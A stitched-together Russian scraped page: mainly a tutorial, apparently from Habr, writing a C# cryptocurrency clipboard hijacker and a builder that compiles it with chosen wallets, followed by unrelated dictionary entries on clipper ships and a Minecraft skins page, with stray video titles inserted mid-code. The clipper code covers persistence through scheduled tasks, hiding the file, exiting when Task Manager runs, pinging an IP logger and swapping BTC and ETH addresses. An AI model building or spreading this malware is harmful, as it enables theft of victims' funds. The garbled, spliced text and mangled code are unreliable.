Клиппер — вредоносная программа, которая мониторит буффер обмена на наличие каких-либо данных, и, в случае их нахождения, заменяет на указанные. Таким образом, жертва может отправить деньги на кошелек злоумышленника.
В сегодняшней статье мы напишем клиппер на языке C#, разберем алгоритм его работы, а также рассмотрим создание билдера малвари.
P.S. Само собой из каждого кода удаленно пару строк, ибо статья предназначена в первую очередь для ознакомления с работой сия чуда и для защиты своего ПК и денежных средств, а не для использования в корыстных целях.
Всем желающим подзаработать данным способом я хочу напомнить, что данная деятельность карается статьей УК РФ №273 (создание, использование и распространение вредоносных программ для ЭВМ) и наказывается лишением свободы на срок до трех лет со штрафом в размере до двухсот тысяч рублей или в размере заработной платы или иного дохода осужденного за период до восемнадцати месяцев.
Приступим!
Билд
Алгоритм работы клиппера:
Клипер Minecraft
- Проверяем, заражена ли система. Если нет, то копируемся в указанную папку, добавляемся в автозагрузку, стучим в логгер.
- Запускаем в отдельном потоке мониторинг процессов.
- Мониторим буффер обмена.
static void Monitor() < while (true) < try < foreach(Process item in Process.GetProcesses()) if (item.ProcessName.ToLower() == «taskmgr» || item.ProcessName.ToLower() == «processhacker» || item.ProcessName.ToLower() == «procexp») Environment.Exit(0); Thread.Sleep(500); >catch <> > >
Переходим к Main. Задаем путь к файлу:
string path = Environment.GetEnvironmentVariable(«[path]») + «\» + «[filename]»; [path], [filename] и проч. — значения, которые будут заменены билдером при компиляции.
Устанавливаем клиппер если он еще не установлен:
if (!File.Exists(path)) < File.Copy(Assembly.GetEntryAssembly().Location, path); // Самоудаление и добавление в планировщик заданий ProcessStartInfo proc = new ProcessStartInfo(); proc.Arguments = «/C choice /C Y /N /D Y /T 3 » + Assembly.GetEntryAssembly().Location + «» + Path.GetRandomFileName().Split(‘.’)[0] + «\» + Path.GetRandomFileName().Split(‘.’)[0] + » /tr » + path + » /st 00:00 /du 9999:59 /sc daily /ri 1 /f»; proc.WindowStyle = ProcessWindowStyle.Hidden; proc.CreateNoWindow = true; proc.FileName = «cmd.exe»; // Ставим аттрибуты “Скрытый” и “Системный” на файл File.SetAttributes(path, FileAttributes.Hidden | FileAttributes.System); // Стучим в IPLogger try < HttpWebRequest http = (HttpWebRequest) WebRequest.Create(«[iplogger]»); http.UserAgent = «New user!»; http.GetResponse(); >catch <> Process.Start(proc); Environment.Exit(0); >
Запустим в новом потоке мониторинг процессов:
Thread th = new Thread(Monitor); // Чекаем процессы в отдельном потоке th.Start();
Напишем цикл, отвечающий за подмену кошельков. Сверяем по Regex данные в буффере, и если там есть кошелек осуществляем замену. Для примера я использовал три кошелька (два BTC и один ETH).
кЛипер шизанулся #minecraft #майнкрафт #gaming #shorts #youtubeshorts
while (true) < string idat_old = string.Empty; string idat = string.Empty; Thread.Sleep(500); try < if (Clipboard.ContainsText()) < idat = Clipboard.GetText(); if (idat != idat_old) < // Ищем в clipboard адреса и если находим заменяем if (new Regex(«^1[a-km-zA-HJ-NP-Z1-9]$»).IsMatch(idat)) < new Thread(() =>< Clipboard.SetText(«[btcwallet1]»); >) < ApartmentState = ApartmentState.STA >.Start(); > if (new Regex(«^3[a-km-zA-HJ-NP-Z1-9]$»).IsMatch(idat)) < new Thread(() =>< Clipboard.SetText(«[btcwallet2]»); >) < ApartmentState = ApartmentState.STA >.Start(); > else if (new Regex(«^0x[a-fA-F0-9]$»).IsMatch(idat)) < new Thread(() =>< Clipboard.SetText(«[ethwallet]»); >) < ApartmentState = ApartmentState.STA >.Start(); > idat_old = idat; > > > catch <> >
На этом мы заканчиваем работу с клиппером и переходим к созданию билдера.
Билдер
Алгоритм работы билдера:
- Получаем указанные в полях кошельки.
- Заменяем их в исходнике клиппера.
- Компилируем исходник.
Переходим к коду. Добавим пару юзингов:
using Microsoft.CSharp; using System.CodeDom.Compiler;
В обработчике кнопки пишем:
CompilerParameters Params = new CompilerParameters(); // Параметры компилируемой сборки Params.IncludeDebugInformation = false; Params.CompilerOptions = » /t:winexe /platform:x86″; Params.OutputAssembly = «build.exe»; Params.ReferencedAssemblies.Add(«System.Windows.Forms.dll»); Params.ReferencedAssemblies.Add(«System.dll»); string Source = Properties.Resources.Source; Source = Source.Replace(«[btcwallet1]», textBox1.Text); // Заменяем нужные значения в сурсе Source = Source.Replace(«[btcwallet2]», textBox2.Text); Source = Source.Replace(«[ethwallet]», textBox3.Text); Source = Source.Replace(«[path]», comboBox1.SelectedItem.ToString()); Source = Source.Replace(«[filename]», textBox4.Text); Source = Source.Replace(«[iplogger]», textBox5.Text); var settings = new Dictionary < string, string >(); settings.Add(«CompilerVersion», «v4.0»); CompilerResults Results = new CSharpCodeProvider(settings).CompileAssemblyFromSource(Params, Source); if (Results.Errors.Count > 0) < foreach(CompilerError err in Results.Errors) MessageBox.Show(err.ToString()); //Вывод ошибок >MessageBox.Show(«Done!», «Success»);
Добавляем в ресурсы билдера сурс клиппера:
Компилируем билдер и на этом наш клиппер готов. Данная разработка способна подменять кошельки любых типов, а так же способна интегрироваться в любые виды стиллеров, чем и опасна. В зависимости проявленного интереса вами к этой статье, мною будет написана статья о том как диагностировать на своем ПК данную угрозу, и надежно от неё избавиться. Всем удачи, и будьте внимательны!
Источник: habr.com
КЛИПЕР
(Clipper) — военный корабль парусного флота, отличавшийся острым образованием корпуса и относительно большим ходом при сравнительно небольшом водоизмещении (от 600 до 1500 т). К. предназначались для несения дозорной, разведочной и посыльной службы. Их ранее других кораблей начали снабжать паровыми двигателями.
Артиллерийское вооружение К. состояло из 20—24 орудий, расположенных на верхней палубе, парусное — из трех мачт (задняя сухая). Клипера получили свое название от быстроходных парусных американских судов, появившихся в половине XIX в. и отличавшихся острыми обводами, большими размерами рангоута, значительной парусностью и исключительной скоростью для парусных судов. Часто на К. можно встретить до пяти реев на мачте. Чайными клиперами называются парусные К., занимающиеся исключительно транспортировкой чая из Китая и о-ва Цейлона в Европу.
Самойлов К. И. Морской словарь. — М.-Л.: Государственное Военно-морское Издательство НКВМФ Союза ССР , 1941
1) трехмачтовый парусный (парусно-винтовой) быстроходный военный корабль 19 в. для разведывательной, дозорной и посыльной служб.
2) Парусное судно с острыми обводами и развитой парусностью для перевозки на большие расстояния грузов (чая, пряностёй и др.). Появились в середине 19 в. и просуществовали до конца века.
EdwART. Толковый Военно-морской Словарь , 2010
парусно-паровой(винтовой) быстроходный военный корабль. Вооружен 6 — 10 орудиями. Имел водоизмещение от 600 до 1.500 т.
EdwART. Морской словарь , 2010
Источник: dic.academic.ru
Скины как у крипера для Minecraft
На данной странице вы можете найти все скины, связанные с категорией Скины как у крипера. Раздел периодически наполняется, и с каждым обновлением количество скинов становится все больше и больше. Вы обязательно найдете себе подходящий скин, для мальчиков и для девочек, для парней и девушек, скины известных блоггеров: Лолошка, Фрост и не менее известных игровых персонажей: Марио, Соник и т.д.
Добро пожаловать! Для добавления скина, требуется вход.
Загрузить скин (Вход) Регистрация
Источник: www.skins4mine.ru